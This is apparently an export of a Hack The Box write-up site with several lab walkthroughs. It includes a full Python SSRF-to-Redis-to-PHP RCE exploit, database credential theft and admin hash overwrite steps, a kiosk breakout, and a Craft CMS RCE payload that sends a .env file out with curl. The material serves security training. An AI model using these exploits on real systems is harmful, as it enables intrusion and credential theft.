# 1337 Sheets > 1337 or Elite, The Cybersecurity writeups for the true cyber e1ite! Offsec, Hack The Box, and more🕵️‍♂️ Whether you're diving into the latest exploits or sharpening your skills 🛠️. Public Ghost content for AI and LLM tooling. This file includes a bounded export of public pages first, then recent public posts. Append `.md` to any post or page URL to get the content in Markdown (for example, `/example-post.md`). ## Pages ### About this site URL: https://1337sheets.com/about/ Last updated: 2026-07-27T10:00:17.000Z 1337 Sheets is an independent publication launched in March 2026 by Preston Zen. If you subscribe today, you'll get full access to the website as well as email newsletters about new content when it's available. Your subscription makes this site possible, and allows 1337 Sheets to continue to exist. Thank you! ### Access all areas By signing up, you'll get access to the full archive of everything that's been published before and everything that's still to come. Your very own private library. ### Fresh content, delivered Stay up to date with new content sent straight to your inbox! No more worrying about whether you missed something because of a pesky algorithm or news feed. ### Meet people like you Join a community of other subscribers who share the same interests. --- ### Start your own thing Enjoying the experience? Get started for free and set up your very own subscription business using [Ghost](https://ghost.org/?ref=1337sheets.com), the same platform that powers this website. ## Posts ### Hack The Box - HTB Autopilot Writeup - Insane - Weekly - october 17th, 2026 URL: https://1337sheets.com/hack-the-box-htb-autopilot-writeup-insane-weekly-october-17th-2026/ Last updated: 2026-10-23T08:59:27.000Z - **Target:** `` (`mail.autopilot.htb`, Grommunio Linux edge) · **Attacker:** `` (tun0) - **Domain:** `autopilot.htb` · **Internal:** MAIL `MAIL`, DC01 `DC01`, WS02 `WS02` - **OS:** Linux (Grommunio) edge in front of a Windows Server 2025 AD · **Difficulty:** Insane - **Given foothold:** `deborah.hernandez : ` ## Flags - **user.txt** (on the MAIL host, `/root/user.txt`): `[REDACTED-USER-FLAG]` - **root.txt** (on DC01, `C:\Users\Administrator\Desktop\root.txt`): `[REDACTED-ROOT-FLAG]` --- # 0\. Environment setup ### 0.1 VPN path-MTU black hole (fix first, or large requests hang) This chain pushes big bodies (WebDAV PUTs, a multipart EML import, a 7 MB agent download). HTB's `tun0` defaults to MTU 1500 but the real path MTU is \~1300; oversized packets are dropped with no ICMP, so TCP retransmits forever and the request "hangs." ```bash sudo ip link set dev tun0 mtu 1300 ``` - Lowers the interface MTU so TCP negotiates a smaller MSS and never emits an oversized segment. Re-apply after each VPN reconnect. ### 0.2 Name resolution ```bash echo ' autopilot.htb mail.autopilot.htb' | sudo tee -a /etc/hosts ``` - The edge is name-based vhosting; every request must carry `Host: mail.autopilot.htb`. Putting it in `/etc/hosts` lets `curl`/`requests` resolve it to the target so the right vhost is served. ### 0.3 Recon — what's exposed ```bash nmap -Pn -n -sV -p 22,25,80,110,143,443,465,587,993,995,8080 ``` - `-Pn` skip host-discovery (ICMP is unreliable over VPN), `-n` no DNS, `-sV` service/version. - Result: **only `443/tcp` open (nginx TLS)**; everything else `filtered`. A full `-p-` scan returns "all filtered" because HTB rate-limits SYN floods — 443 is the only real surface. ```bash echo | openssl s_client -connect :443 -servername mail.autopilot.htb 2>/dev/null \ | openssl x509 -noout -subject -issuer -ext subjectAltName ``` - Pulls the TLS certificate. SANs are `grommunio/autodiscover/mail.autopilot.htb`; the **issuer is `autopilot-DC01-CA`** → there's an AD domain `autopilot.htb` with a DC named DC01 behind the mail edge. ```bash curl -ksSI https://mail.autopilot.htb/ # 301 -> /web/ curl -ksS https://mail.autopilot.htb/web/ | grep -oiE 'version=[0-9.g]+' ``` - `-k` ignore cert (self-signed), `-s` silent, `-S` show errors, `-I` headers only. - `/` redirects to `/web/` (Grommunio Web); the page reports `**version=5.2.13**`. `/files/` sets Nextcloud cookies (`oc_sessionPassphrase`) → the Files app is **Nextcloud-based (`grommunio-files`)**. ### 0.4 Validate the given credential on both surfaces ```bash # Grommunio Web logon curl -ksS -c cookies -d 'username=deborah.hernandez' --data-urlencode 'password=' \ 'https://mail.autopilot.htb/web/?logon' -o /dev/null -w '%{http_code}\n' # 303 = success # WebDAV (the Files backend) curl -ksS -u 'deborah.hernandez:' -X PROPFIND -H 'Depth: 1' \ 'https://mail.autopilot.htb/files/remote.php/dav/files/deborah.hernandez/' -w '%{http_code}\n' # 207 ``` - A `303` redirect after logon = valid Web session; `207 Multi-Status` from WebDAV = valid Files access. Both are needed for the foothold. --- # 1\. Foothold — Seafile SSRF → Redis → PHP RCE (as grofiles) **The idea.** grommunio-files (Nextcloud) stores its **compiled URL routes in Redis**. If I can insert a fake route that maps a URL like `/ctf` to *"include this PHP file"*, then requesting that URL executes my code. Redis is loopback-only, so I need a **server-side request** to reach it — which the **Seafile Files integration** provides: it fetches a server-supplied "download URL" server-side, and if I make that URL a `gopher://127.0.0.1:6379/...` string, I can speak the Redis protocol into it (SSRF→Redis). I control the "Seafile server's" replies by pointing the backend at Grommunio's **own** `download_attachment` endpoint, serving JSON I imported via an EML and matched by `Content-Location`. The internal request is authenticated with a **CRLF injection in the Seafile password field** that smuggles Deborah's session cookie. ### 1.1 Upload the (inert) PHP payload over WebDAV ```bash cat > rclprobe.txt <<'PHP' &1'); ?> PHP curl -ksS -u 'deborah.hernandez:' -T rclprobe.txt \ 'https://mail.autopilot.htb/files/remote.php/dav/files/deborah.hernandez/rclprobe.txt' -w '%{http_code}\n' ``` - `-T file` \= HTTP `PUT` (WebDAV upload). Returns `201 Created`. - Fetching it back returns the **raw PHP source** (served as static text, HTTP 200) — proof it does *not* execute on its normal URL. It lands on disk at `/var/lib/grommunio-files/data/deborah.hernandez/files/rclprobe.txt`; we'll make PHP `include` that path next. ### 1.2 The Redis route payload (gopher) The route-cache key (prefix is baked into the box image and stable across resets): ``` 0080d9f8020c1c045f3ae6468d0c933a/routemail.autopilot.htb#/files/index.php#rootCollection ``` We `SETEX` it (20-second TTL) to a serialized route collection whose `/ctf` entry carries `file = `. The gopher URL encodes raw RESP bytes: ``` gopher://127.0.0.1:6379/_*4\r\n$5\r\nSETEX\r\n$88\r\n\r\n$2\r\n20\r\n$\r\n\r\n ... QUIT ``` - `gopher://host:6379/_` — the `_` byte is dropped; everything after is sent raw to the Redis TCP port. `*4` \= array of 4 bulk strings = the `SETEX key 20 value` command; a trailing `QUIT` closes cleanly. ### 1.3 Serving the mock Seafile API via EML + CRLF cookie smuggling The whole dance is performed by the exploit script shown in full at the end of this section; in order it: 1. `POST /web/?logon` → logged-in `requests.Session`. 2. Uploads 3 attachments and saves a draft → yields `store_entryid` \+ `parent_entryid` (needed to address `download_attachment`). 3. Imports an **EML** whose 4 attachments carry `Content-Location` headers exactly matching the Seafile API paths the backend will request: - `mock/api2/ping/` → `"pong"` - `mock/api2/repos/` → a one-repo list - `mock/api2/repos//file/?p=/route_exec` → the **SETEX gopher URL** - `.../?p=/route_del` → the DEL gopher URL 4. Triggers `filesbrowsermodule/downloadtotmp` on `#R#/mock/route_exec` → the backend fetches our gopher URL → **Redis SETEX fires**. 5. `GET /files/index.php/ctf?cmd=` → router matches `/ctf` → PHP `include`s our file → command runs as `grofiles`. Creates a **Seafile Files account** whose `server_path` is Grommunio's own `download_attachment?...&attachCid=mock`, so the backend's `/api2/...` requests resolve to our imported JSON. The `password` field is the exploit primitive: ``` password = "x\r\nCookie: \r\nUser-Agent: " ``` The `\r\n` smuggle a **Cookie** header (authenticating the internal `download_attachment` request as Deborah) and a **User-Agent** header. **The gotcha that cost real time.** The mock account must be created in **one step with the Cookie *and* the matching User-Agent together**. If you first create it with only the Cookie (no UA), Grommunio runs a server-side validation whose request arrives with a *mismatched* User-Agent and **silently invalidates your web session** — the very next webapp call returns a `401` HTML page, and nothing works. Creating it once with the full `Cookie + User-Agent` returns `status: ok` and keeps the session alive. (Observed directly: `create resp ... "status":"err","status_description":"401 Unauthorized"` on the preliminary account, then the follow-up PATCH came back as a 401 HTML page = session dead.) The complete exploit script (run it as `python3 -I foothold.py ''`): ```python #!/usr/bin/env python3 """ HTB Autopilot - foothold: Seafile SSRF -> gopher -> Redis route-cache overwrite -> PHP include of Deborah's uploaded rclprobe.txt -> RCE as grofiles. Usage: python3 -I foothold.py '' (default cmd = id). Re-run to refresh the 20s route and run another cmd. """ import json, os, secrets, sys, time from email.message import EmailMessage from email.policy import SMTP from urllib.parse import quote_from_bytes import requests, urllib3 urllib3.disable_warnings() TARGET = os.environ.get("TARGET_IP", "") HOST = "mail.autopilot.htb" BASE = f"https://{HOST}/" USER = "deborah.hernandez" PASS = "" CMD = sys.argv[1] if len(sys.argv) > 1 else "id" # Nextcloud/grommunio-files distributed-cache prefix (baked into the box image). PREFIX = os.environ.get("FILES_CACHE_PREFIX", "0080d9f8020c1c045f3ae6468d0c933a") PAYLOAD_FILE = f"/var/lib/grommunio-files/data/{USER}/files/rclprobe.txt" REPO_ID = "11111111-1111-1111-1111-111111111111" # ---------------------------------------------------------------- Redis gopher def resp(*values): out = bytearray(f"*{len(values)}\r\n".encode()) for v in values: item = str(v).encode() out += f"${len(item)}\r\n".encode() + item + b"\r\n" return bytes(out) def gopher(*commands): data = b"".join(resp(*c) for c in commands) return "gopher://127.0.0.1:6379/_" + quote_from_bytes(data, safe="") def build_urls(): key = f"{PREFIX}/routemail.autopilot.htb#/files/index.php#rootCollection" route = [ False, {"/ctf": [[{"_route": "ctf", "file": PAYLOAD_FILE}, None, {"GET": 0}, None, False, False, None]]}, [], {}, None, ] route_json = json.dumps(route, separators=(",", ":")) exec_url = gopher(("SETEX", key, 20, route_json), ("QUIT",)) del_url = gopher(("DEL", key), ("QUIT",)) return exec_url, del_url # ---------------------------------------------------------------- HTTP session s = requests.Session() s.verify = False s.headers["User-Agent"] = "Mozilla/5.0 autopilot" def webapp(payload): return s.post(BASE + "web/grommunio.php?subsystem=webapp_" + str(int(time.time()*1000)), json={"grommunio": payload}, timeout=45) def login(): r = s.post(BASE + "web/?logon", data={"username": USER, "password": PASS}, timeout=30) r.raise_for_status() print(f"[+] logged in as {USER} (HTTP {r.status_code})") # ---------------------------------------------------------------- draft bootstrap def bootstrap_draft(): """Create a draft with 3 mock attachments so we obtain store_entryid/parent_entryid.""" dialog = "mockattach" + secrets.token_hex(11) files = [ ("attachments[]", ("ping.json", b'"pong"', "application/json")), ("attachments[]", ("repos.json", json.dumps([{"type":"repo","name":"mock","id":REPO_ID,"mtime":0}]).encode(), "application/json")), ("attachments[]", ("file.json", json.dumps("http://127.0.0.1/statusmonitor").encode(), "application/json")), ] up = s.post(BASE + "web/index.php?load=upload_attachment" + "&dialog_attachments=" + dialog + "&module=createmailitemmodule&moduleid=1", data={"dialog_attachments": dialog, "ignore_extract_attachid": "true"}, files=files, timeout=40).json() uploaded = up["grommunio"]["createmailitemmodule"]["1"]["update"]["item"] locations = ["mock/api2/ping/", "mock/api2/repos/", f"mock/api2/repos/{REPO_ID}/file/?p=/foo"] attachments = [{"inline": True, "tmpname": it["props"]["tmpname"], "cid": loc} for it, loc in zip(uploaded, locations)] save_body = {"createmailitemmodule": {"1": {"save": { "props": {"message_class": "IPM.Note", "subject": "Seafile mock " + dialog}, "attachments": {"dialog_attachments": dialog, "add": attachments}}}}} saved = webapp(save_body).json() item = saved["grommunio"]["createmailitemmodule"]["1"]["update"]["item"] print(f"[+] draft created; store_entryid len={len(item['store_entryid'])}") return item # ---------------------------------------------------------------- EML import def import_eml(store, draft_folder, exec_url, del_url): msg = EmailMessage(policy=SMTP.clone(max_line_length=998)) msg["From"] = msg["To"] = f"{USER}@autopilot.htb" msg["Subject"] = "Draft route script" msg.set_content("Draft route script.") responses = [ ("mock/api2/ping/", json.dumps("pong")), ("mock/api2/repos/", json.dumps([{"type":"repo","name":"mock","id":REPO_ID,"mtime":0}])), (f"mock/api2/repos/{REPO_ID}/file/?p=/route_exec", json.dumps(exec_url)), (f"mock/api2/repos/{REPO_ID}/file/?p=/route_del", json.dumps(del_url)), ] for loc, body in responses: msg.add_attachment(body.encode(), maintype="application", subtype="json", filename="data.json") msg.get_payload()[-1]["Content-Location"] = loc dialog = "mockattach" + secrets.token_hex(12) params = {"load":"upload_attachment","module":"createmailitemmodule","moduleid":"1", "dialog_attachments":dialog,"store":store,"destination_folder":draft_folder, "import":"1","ignore_extract_attachid":"true"} reply = s.post(BASE + "web/index.php", params=params, data=params, files=[("attachments[]", ("probe.eml", msg.as_bytes(), "message/rfc822"))], timeout=40).json() entry_id = reply["grommunio"]["createmailitemmodule"]["1"]["import"]["items"] print(f"[+] EML imported; entryid len={len(entry_id)}") return entry_id # ---------------------------------------------------------------- Seafile acct def make_account(store, entry_id): cookie = "; ".join(f"{k}={v}" for k, v in s.cookies.items()) ua = s.headers.get("User-Agent", "python-requests") server_path = ("web/index.php?load=download_attachment&store=" + store + "&entryid=" + entry_id + "&attachCid=mock") config = {"server_address": HOST, "server_port": "443", "server_ssl": "1", "server_path": server_path, "user": "@auth:token:deborah", "password": "x\r\nCookie: " + cookie + "\r\nUser-Agent: " + ua, "use_grommunio_credentials": "0"} # single-step create with full Cookie+UA config: a mismatched-UA server-side # validation would invalidate our web session, so inject the matching UA now. created = webapp({"filesaccountmodule": {"1": {"save": {"props": { "name": "mock-seafile-relay", "backend": "Seafile", "backend_config": config}}}}}).json() if os.environ.get("DEBUG_ACC"): print("[dbg] create resp:", json.dumps(created)[:700]) item = created["grommunio"]["filesaccountmodule"]["1"]["update"]["item"][0] acct = item["entryid"] print(f"[+] Seafile account created: {acct} status={item['props'].get('status')} " f"({item['props'].get('status_description')})") return acct def trigger(acct, name): return webapp({"filesbrowsermodule": {"1": {"downloadtotmp": { "ids": ["#R#" + acct + "/mock/" + name], "dialog_attachments": "test" + secrets.token_hex(14)}}}}) # ---------------------------------------------------------------- main def main(): exec_url, del_url = build_urls() login() item = bootstrap_draft() store, folder = item["store_entryid"], item["parent_entryid"] entry_id = import_eml(store, folder, exec_url, del_url) if os.environ.get("DEBUG_DUMP"): # directly fetch the mock ping attachment with our own session cookie, # to confirm download_attachment+attachCid serves the imported JSON. for cid in ["mock/api2/ping/", "mock/api2/repos/", f"mock/api2/repos/{REPO_ID}/file/?p=/route_exec"]: u = (BASE + "web/index.php?load=download_attachment&store=" + store + "&entryid=" + entry_id + "&attachCid=" + requests.utils.quote(cid, safe="")) rr = s.get(u, timeout=20) print(f"[dbg] CID={cid!r} -> HTTP {rr.status_code} len={len(rr.content)} :: {rr.text[:120]!r}") print("[dbg] cookies:", dict(s.cookies)) return acct = make_account(store, entry_id) print("[*] triggering route_exec (Redis SETEX via gopher SSRF)...") r = trigger(acct, "route_exec") print(" downloadtotmp status:", r.status_code) print(" body:", r.text[:800]) time.sleep(1) print(f"[*] executing cmd: {CMD}") out = s.get(BASE + "files/index.php/ctf", params={"cmd": CMD}, timeout=30) print("=" * 60) print(out.text) print("=" * 60, "HTTP", out.status_code) if __name__ == "__main__": main() ``` ### 1.4 Fire it ```bash export TARGET_IP='' python3 -I foothold.py 'id' ``` - `-I` runs Python in isolated mode (ignores `$PYTHONPATH`/cwd — good hygiene around untrusted dirs). - The `downloadtotmp` response is `{"error":... "0 UNKNOWN_PHRASE"}` — **expected**: a Redis reply isn't a valid Seafile file, but the *side effect* (the SETEX) already happened. - Output: ``` Seafile account created: ... status=ok (Account is ready to use.) ============================================================ uid=462(grofiles) gid=462(grofiles) groups=462(grofiles) ============================================================ ``` **RCE as `grofiles`.** Each run sets up a fresh 20-second route and runs one command; re-run for each command. --- # 2\. grofiles → root on MAIL (Postfix daemon\_directory) ### 2.1 Read the Postfix→MySQL credentials ```bash python3 -I foothold.py 'cat /etc/postfix/grommunio-virtual-mailbox-maps.cf; ip -br addr' ``` - Grommunio's Postfix looks up mailboxes in MySQL; the lookup config contains the DB creds in cleartext: ``` user = grommunio password = hosts = localhost dbname = grommunio ``` - `ip -br addr` also shows the host's internal NIC: **`eth0 MAIL/24`** (first glimpse of the AD subnet). ### 2.2 Take over the Admin API by rewriting its password in the DB The grommunio Admin API (loopback `127.0.0.1:8080`) authenticates its `admin` user against row `id=0` of `grommunio.users`. We own the DB, so we **save the original hash**, drop in a known one, log in, then restore it afterwards. ```bash # save the real hash first (base64 the UPDATE to dodge $-expansion in the webshell) python3 -I foothold.py "mysql -h127.0.0.1 -ugrommunio -p grommunio \ -e 'SELECT id,username,password FROM users WHERE id=0'" # -> (saved to loot/) NEWHASH=$(openssl passwd -6 '') # sha512-crypt of a temp password B64=$(printf "UPDATE users SET password='%s' WHERE id=0;" "$NEWHASH" | base64 -w0) python3 -I foothold.py "echo $B64 | base64 -d | mysql -h127.0.0.1 -ugrommunio -p grommunio" ``` - `openssl passwd -6` \= sha512-crypt (the `$6$` scheme the Admin API expects). - base64-ing the SQL means the `$`/`/` in the hash never hit the remote shell. ```bash python3 -I foothold.py "curl -s -H 'Host: mail.autopilot.htb' \ --data-urlencode 'user=admin' --data-urlencode 'pass=' http://127.0.0.1:8080/api/v1/login" ``` - Returns `{"csrf":"...","grommunioAuthJwt":"..."}`. Config changes need the **JWT in a cookie** and the **CSRF in `X-Csrf-Token`**. Save both. ### 2.3 The privileged primitive: Postfix `daemon_directory` ### _This post is for paying subscribers only._ ### Hack The Box - HTB Touch Writeup - Easy - Weekly - october 3th, 2026 URL: https://1337sheets.com/hack-the-box-htb-touch-writeup-easy-weekly-october-3th-2026/ Last updated: 2026-10-06T08:08:59.000Z ## Overview - **Target IP:** `10.129.xx.xx` - **Attacker (VPN) IP:** `10.10.xx.xx` - **Supplied credentials:** `Jenny Crawford / KS7X2M` The box is themed around a fictional airline check-in kiosk ("HTB Airways"). The attack surface combines a device-management web portal (Nexion DeviceHub), a tightly restricted Windows kiosk session, and a locally running MySQL 8.0 instance that is ultimately turned into SYSTEM-level code execution through a User Defined Function (UDF). --- ## 1\. Reconnaissance — Nmap ```bash nmap -sV -sC 10.129.xx.xx ``` ``` Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-04 02:03 +0000 Nmap scan report for 10.129.xx.xx Host is up (0.35s latency). Not shown: 996 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 3389/tcp open ms-wbt-server Microsoft Terminal Service 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 8443/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-cors: GET POST PUT OPTIONS |_http-trane-info: Problem with XML parsing of /evox/about | http-title: Nexion DeviceHub - Login |_Requested resource was /login Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows ``` What the open ports tell us: - **135** — MSRPC - **3389** — RDP (Terminal Services) - **5985** — WinRM (the banner reads as a generic HTTPAPI service, but this is the usual WinRM port) - **8443** — a web application: the Nexion DeviceHub login page Seeing RDP and WinRM exposed alongside a management web portal is a strong hint that the portal might hand us credentials or device details we can then reuse against the other services — the familiar HTB pattern of linking one service into the next. --- ## 2\. Web Enumeration on Port 8443 Visiting `https://10.129.xx.xx:8443` presents a Nexion DeviceHub login screen that expects a device password we don't yet possess. ### Directory / Content Discovery ```bash ffuf -u http://10.129.xx.xx:8443/FUZZ -w /usr/share/wordlists/dirb/common.txt ``` The first pass was almost entirely noise — every path returned a default `302` redirect (wildcard-style behaviour), so the output needed filtering: ```bash ffuf -u http://10.129.xx.xx:8443/FUZZ -w /usr/share/wordlists/dirb/common.txt -fc 302 ``` ``` api [Status: 403, Size: 35, Words: 2, Lines: 1, Duration: 279ms] favicon.ico [Status: 200, Size: 452, Words: 37, Lines: 1, Duration: 283ms] login [Status: 200, Size: 3572, Words: 122, Lines: 3, Duration: 280ms] ``` An `/api` path that answered with `403 Forbidden` (as opposed to `404`) signalled that the endpoint is real but gated — it wants auth, or a more specific sub-path. That justified fuzzing a level deeper: ```bash ffuf -u http://10.129.xx.xx:8443/api/FUZZ -w /usr/share/wordlists/dirb/common.txt -fc 302 ``` ``` [Status: 403, Size: 35, Words: 2, Lines: 1, Duration: 293ms] scan [Status: 405, Size: 30, Words: 3, Lines: 1, Duration: 524ms] status [Status: 200, Size: 116, Words: 3, Lines: 1, Duration: 414ms] ``` - `/api/scan` → `405 Method Not Allowed` (GET is the wrong verb here — most likely a POST endpoint; not worth chasing since it needs auth anyway) - `/api/status` → `200 OK` — and this one gives up data with no authentication at all ### Unauthenticated Info Leak: `/api/status` ```bash curl http://10.129.xx.xx:8443/api/scan | jq ``` ```json { "error": "Method not allowed" } ``` ```bash curl http://10.129.xx.xx:8443/api/status | jq ``` ```json { "device": "Nexion DeviceHub DH-100", "serial": "NX-DH-2024-B7042", "firmware": "1.4.2", "status": "online", "uptime": 33838 } ``` Here's the flaw: an unauthenticated endpoint hands out the device serial number, and that serial doubles as the DeviceHub login password. Using a device identifier as a secret is a textbook "serial-as-password" mistake — anyone who can reach `/api/status` walks away with the credential to the admin portal. Entering the serial `NX-DH-2024-B7042` as the device password on `/login` succeeded, dropping us into the DeviceHub dashboard. --- ## 3\. Exploring the DeviceHub Dashboard Inside, the dashboard listed two managed devices, both active: - Passport Scanner - Boarding Pass Printer The portal let us toggle these devices on and off remotely, and it also surfaced a stored credential pair tied to the kiosk hardware: ``` KioskUser : [REDACTED - KIOSKUSER PASSWORD] ``` Some context: a *kiosk user* is a restricted local account set up so an unauthenticated or limited person can use just one designated application (think of an airport check-in terminal). The name strongly suggests this credential belongs to a locked-down local Windows account rather than anything privileged. --- ## 4\. Credential Validation — Testing for Reuse Across Services Because Nmap had already shown WinRM (5985) and RDP (3389) listening, the obvious move was to see whether the leaked `KioskUser` credential had been reused on either. This is standard credential-reuse / stuffing testing; each attempt is shown below. ### WinRM check ```bash nxc winrm 10.129.xx.xx -u KioskUser -p '[REDACTED - KIOSKUSER PASSWORD]' ``` ``` WINRM 10.129.xx.xx 5985 KIOSK-042 [*] Windows 11 / Server 2025 Build 26100 (name:KIOSK-042) (domain:KIOSK-042) WINRM 10.129.xx.xx 5985 KIOSK-042 [-] KIOSK-042\KioskUser:[REDACTED - KIOSKUSER PASSWORD] ``` Outcome: rejected (`[-]`). WinRM turned the pair away — most likely because this local account isn't permitted to use WinRM, not because the password is wrong (confirmed via RDP shortly). ### RDP check ```bash nxc rdp 10.129.xx.xx -u KioskUser -p '[REDACTED - KIOSKUSER PASSWORD]' ``` ``` RDP 10.129.xx.xx 3389 10.129.xx.xx [*] Probably old, doesn't not support HYBRID or HYBRID_EX (nla:False) RDP 10.129.xx.xx 3389 10.129.xx.xx [-] None\KioskUser:[REDACTED - KIOSKUSER PASSWORD] (Server refused our connection request! Reason: SSL_NOT_ALLOWED_BY_SERVER) ``` This one failed on a TLS/NLA negotiation problem (`SSL_NOT_ALLOWED_BY_SERVER`) rather than a bad credential, so we switched from the NetExec check to a full RDP client. ### Successful RDP login via xfreerdp3 ```bash xfreerdp3 /v:10.129.xx.xx /u:KioskUser /p:'[REDACTED - KIOSKUSER PASSWORD]' /cert:ignore /dynamic-resolution +clipboard ``` This connected and placed us in a graphical Windows session as `KioskUser`, proving the leaked credential was valid and that the earlier WinRM rejection was down to WinRM-specific restrictions, not a wrong password. --- ## 5\. Kiosk Breakout — Forcing an Application Error to Reach a Shell The RDP session dropped us into a heavily restricted kiosk application offering two paths: - **Self check-in** — the first step accepted the supplied credentials (`Jenny Crawford / KS7X2M`), but the second step demanded a passport scan (a physical action we couldn't perform). - **Staff login** — required scanning an employee badge (again, hardware we didn't have). Neither flow could finish the normal way, which pointed straight at a classic kiosk-breakout idea: deliberately make the kiosk app throw an unhandled error, since the error handler often exposes an embedded browser (Edge/IE) or a file dialog that can be turned into a real desktop shell. The crucial observation: the DeviceHub portal on 8443 let us power the Passport Scanner and Boarding Pass Printer *off*. If the kiosk relies on those devices being online to complete a scan, taking them offline should make the scan step fail with an error. ### Breakout steps 1. From the DeviceHub dashboard (8443), power off both the Passport Scanner and the Boarding Pass Printer. 2. In the kiosk, pick **Staff login → Scan badge**. With the scanner now offline, this raises an application error dialog containing a clickable link/details. 3. Click the link in the dialog — this opens Microsoft Edge. 4. In Edge, hit **Ctrl+O** to summon the native Open File dialog — a common kiosk-escape trick, since the file picker is effectively a full Explorer window. 5. Browse to `C:\Windows\System32\`, find `cmd.exe`, and open it. 6. Owing to how the restricted shell treats the action, it first downloads `cmd.exe` and then runs it — handing us a working Command Prompt inside the kiosk session. This is the canonical kiosk/browser-restriction bypass: provoke an error → the handler launches a full browser → the browser's native file dialog becomes a side door into the filesystem → run `cmd.exe` from there. --- ## 6\. Reverse Shell as `KioskUser` With a Command Prompt in hand, we built a reverse shell and moved it onto the target. _This post is for paying subscribers only._ ### Hack The Box - HTB Layover Writeup - Medium- Weekly - September 26th, 2026 URL: https://1337sheets.com/hack-the-box-htb-layover-writeup-medium-weekly-september-26th-2026/ Last updated: 2026-10-06T08:07:35.000Z **Machine Name:** Layover **Operating System:** Linux **Difficulty:** Medium ## Executive Summary Layover is a medium-rated Linux box themed around a corporate airport network. The path to compromise opens with an RDP session against a loosely secured jumpbox, then moves through a simulated virtual WiFi segment where plaintext credentials can be sniffed off the wire. Those credentials unlock a Remote Code Execution (RCE) flaw in Craft CMS, which in turn enables lateral movement over SSH. Root is reached by abusing a local privilege escalation bug in the CUPS printing service. --- ## 1\. Initial Access & Enumeration ### 1.1 Port Scanning and RDP Access A first pass with **Rustscan** and **Nmap** surfaces two listening ports: - **22/tcp:** OpenSSH - **3389/tcp:** RDP (xrdp) The box ships with starter credentials (`contractor` / `Contractor2026!`). Password-based SSH is turned off for this account, but the same credentials authenticate cleanly over RDP. The session drops us into an XFCE desktop running on a jumpbox named `airside-ws01`. ### 1.2 Virtual WiFi Enumeration Poking around the jumpbox locally turns up virtual WiFi adapters (`wlan2`, `wlan3`) backed by the `mac80211_hwsim` kernel module, which fakes WiFi hardware for lab scenarios. A scan for nearby networks shows an open SSID, `HTB International WiFi`. Associating with it hands us an address on the internal `10.13.37.0/24` subnet. ### 1.3 Traffic Sniffing (tshark) To grab credentials for the internal portal, `wlan3` is switched into **monitor mode** on channel 6\. **tshark** then filters for HTTP POST requests, capturing login attempts sent in the clear across the unencrypted WiFi: ```bash tshark -i wlan3 -Y 'http.request.method=="POST"' -T fields -e ip.src -e http.request.full_uri -e urlencoded-form.key -e urlencoded-form.value ``` Before long, a scripted "employee" authenticates to the portal, exposing: - **Username:** `jenny` - **Password:** `Fl1ghtDeck2026!` --- ## 2\. Foothold: Craft CMS RCE ### 2.1 Vulnerability Identification (SAST & ALPN Analysis) Working through the internal portal (`portal.international.htb`), we apply **SAST (Static Application Security Testing)** reasoning to how the application responds and inspect the **ALPN (Application-Layer Protocol Negotiation)** headers to fingerprint the stack. This pins the portal to **Craft CMS 5.9.8**, sitting on the Yii2 PHP framework. Digging into that release reveals a serious **Behavior Injection vulnerability** (tied to CVEs affecting Craft CMS < 5.9.9). The `/admin/actions/element-search/search` endpoint doesn't properly validate the `fieldLayouts` parameter inside the JSON body, which lets us instantiate arbitrary PHP classes. ### 2.2 Exploitation We leverage the flaw to make the server load the `Psy\Readline\Hoa\ConsoleProcessus` class, whose `execute` method can run system commands. Delivering a purpose-built JSON payload — either through the browser console or a short Python script — gives us Remote Code Execution. Because command output never comes back in the HTTP response, we pull data out of band: the server is instructed to `curl` a base64-encoded copy of the `.env` file to a listener on the jumpbox. **Payload Structure:** ```json { "elementType": "craft\\elements\\Category", "siteId": 1, "search": "", "condition": { "class": "craft\\elements\\conditions\\ElementCondition", "elementType": "craft\\elements\\Category", "fieldLayouts": [{ "as rce": { "__class": "yii\\behaviors\\AttributeTypecastBehavior", "__construct()": [{ "attributeTypes": { "typecastBeforeSave": [ "Psy\\Readline\\Hoa\\ConsoleProcessus", "execute" ] }, "typecastBeforeSave": ["sh", "-c", "curl http://:9999/$(cat /var/www/portal/.env | base64 -w0)"] }] }, "on *": "self::beforeSave" }] } } ``` ### 2.3 Decrypting Credentials Decoding the exfiltrated base64 blob hands us the `CRAFT_SECURITY_KEY` stored in `.env`. Signed in as Jenny, we export a SQL backup of the database from the Craft CMS admin panel. The `htbairways_settings` table holds an encrypted password belonging to `aporter`. Feeding the stolen `CRAFT_SECURITY_KEY` into a small PHP script on the target lets us decrypt it: - **Username:** `aporter` - **Password:** `Skyp0rt_Relay!26` --- _This post is for paying subscribers only._ ### Hack The Box - HTB BlockSynergy Writeup - Insane - Weekly - August 29th, 2026 URL: https://1337sheets.com/hack-the-box-htb-blocksynergy-writeup-insane-weekly-august-29th-2026/ Last updated: 2026-08-31T09:50:31.000Z **Target:** `` **My VPN tunnel IP:** `` ### The placeholders I use throughout | Placeholder | What it actually is | | ------------------------ | ------------------------------------------------------------------------------ | | | The current BlockSynergy machine IP | | | Your HTB VPN tunnel IP | | | The private key I generated for the hank foothold | | | Its matching public key, with a unique comment | | | An FTP credential visible in a root backup process | | | Contents of /home/walter/user.txt | | | Contents of /root/root.txt | | | Any unique string, so you don't collide with other players on shared instances | --- ## 0\. Setting up my environment (and the MTU gotcha that cost me an hour) My working folder looked like this: ``` BlockSynergy/ ├── scans/ # nmap, fuzzing output ├── loot/ # wallets, SSH keys, cookies ├── exploits/ # exploit scripts ├── notes/ # running notes log ├── FLAGS.txt ``` Before anything else, one critical environment fix. The HTB VPN interface needs a reduced MTU: ```bash sudo ip link set dev tun0 mtu 1300 ``` Skip this and you'll burn real time. The symptom: SSH connects, prints the banner... and then the key exchange just dies. If you run `ssh -vv`, it stalls at `expecting SSH2_MSG_KEX_ECDH_REPLY`. The banner arrives fine because it's a small packet, which makes the whole thing *look* like an sshd or auth problem. It's not. Large KEX packets are being dropped because of the MTU. Ask me how I know. --- ## 1\. Reconnaissance: two ports and a fragile Flask app Standard nmap one-two punch: ```bash sudo nmap -p- --min-rate 5000 -Pn nmap -Pn --top-ports 1000 -sV -sC ``` And here's all there is: ``` 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 8080/tcp open http 